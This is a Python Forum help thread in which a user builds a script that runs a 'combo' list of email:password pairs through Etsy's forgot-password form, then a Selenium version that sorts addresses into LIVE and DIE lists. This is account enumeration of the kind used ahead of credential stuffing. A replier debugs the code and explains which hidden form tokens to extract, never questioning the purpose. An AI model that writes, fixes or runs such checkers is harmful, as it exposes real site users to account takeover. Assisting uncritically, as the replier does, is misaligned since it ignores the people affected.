Python Forum
requests problem in python script "content type"
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
requests problem in python script "content type"
#1
When I want to check the e-mail, it is on the site or not, and even though the e-mail is there, it tells me there is no!
Existing email is: abdlouafitahiri@hotmail.com

Where is the problem perhaps in request data or not recognizing the text in success_keyword !!
import requests

def faild(email,):
    print(f"login is faild {email}")
def passed(email,):
    print(f"login is true {email}")

def checker(data,):
    email = data[0]
    success_keyword = "Veuillez entrer une adresse électronique valide"
    api_sender=requests.session()
    http = api_sender.post("https://www.etsy.com/forgot_password?email=", data={"email":email,"submit": "Submit"}).text
    content = http.content
    if success_keyword in content:
        passed(email)
    else:
        faild(email)
combos_name = input("Please Enter combo name:")
combos = open(combos_name, "r").readlines()
arranqe = [lines.replace("\n", "")for lines in combos]
for lines in arranqe:
    data = lines.split(":")
    checker(data)



Reply
#2
always show full unmodified error traceback. It contains valuable information.
Reply
#3
this error :
line 14, in checker
if 'Veuillez entrer une adresse électronique valide' in str(http.content):
AttributeError: 'str' object has no attribute 'content'
Reply
#4
Remove .text end of line 12.
But looking at site so will this not work.
This is from data send:
email: test@gmail.com
ba1aadd6: 4xxxx
_nnc: 3:15xxxxxxxx
submit: Submit
So need to parse out this values or it will not work.
I think using selenium will be easier here,then should not need to find these values.

How setup for Requests would look.
import requests
from bs4 import BeautifulSoup
 
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36'
}
 
# Need to first find ba1aadd6 and _nnc vaules first
params = {
    email: test@gmail.com
    ba1aadd6: 4xxxx
    _nnc: 3:15xxxxxxxx
    submit: Submit
}
 
with requests.Session() as s:
    s.post('https://www.etsy.com/forgot_password?email=', headers=headers, params=params)
    # logged in! session cookies saved for future requests
    response = s.get('https://www.etsy.com/forgot_password?email=')
    # cookies sent automatically!
    # Example send to BS
    soup = BeautifulSoup(response.content, 'lxml')
    #welcome = soup.find('title').text
    #print(welcome)
Reply
#5
I want to create an email course
Each time he tries an email and returns to the second one until he finishes
for loop in "checkemail.send_keys(email)" looping in email ..
from selenium import webdriver
list = input("Input Mail List :")
list = open(list, "r").readlines()

driver = webdriver.Chrome()
driver.maximize_window()

driver.get("https://www.etsy.com/forgot_password?email=")
checkemail = driver.find_element_by_xpath('//*[@id="content"]/div/div/div/div[2]/form/div/input[1]')
checkemail.send_keys(email)
loginButton = driver.find_elements_by_css_selector("#submit-button")
loginButton[0].click()
if """<span class="inline-input-error-message" style="display:inline">Veuillez entrer une adresse électronique valide.</span>""" in checkemail:
    print("\033[31;1mDIE\033[0m | " + email + " | [(Checked)]")
    die.write(email + '\n')
else:
    print("\033[32;1mLIVE\033[0m | " + email + " | [(Checked)]")
    live.write(email + '\n')

Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Problem with logging in on website - python w/ requests GoldeNx 6 366 Sep-25-2020, 10:52 AM
Last Post: snippsat
  How to perform a successful login(signin) through Requests in Python Kalet 1 748 Apr-24-2020, 01:44 AM
Last Post: Larz60+
  Scraping problems with Python requests. gtlhbkkj 1 421 Jan-22-2020, 11:00 AM
Last Post: gtlhbkkj
  requests problem abdlwafitahiri 1 376 Dec-26-2019, 12:18 PM
Last Post: buran
  "I'm Feeling Lucky" script problem (again) tab_lo_lo 7 4,080 Jul-23-2019, 11:26 PM
Last Post: snippsat
  Wierd file type problem Larz60+ 4 1,048 Nov-25-2018, 07:59 PM
Last Post: Larz60+
  Inserting multiple cookies using python requests freshtomatoes 0 2,269 Aug-16-2018, 09:25 PM
Last Post: freshtomatoes
  How to clean html content using BeautifulSoup in Python 3.6? PrateekG 5 5,172 Apr-27-2018, 01:14 PM
Last Post: snippsat
  Problem With Simple Multiprocessing Script digitalmatic7 11 4,537 Apr-16-2018, 07:18 PM
Last Post: digitalmatic7
  Python requests to loop over the list and click button Prince_Bhatia 5 10,898 Oct-27-2017, 01:34 PM
Last Post: Prince_Bhatia

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020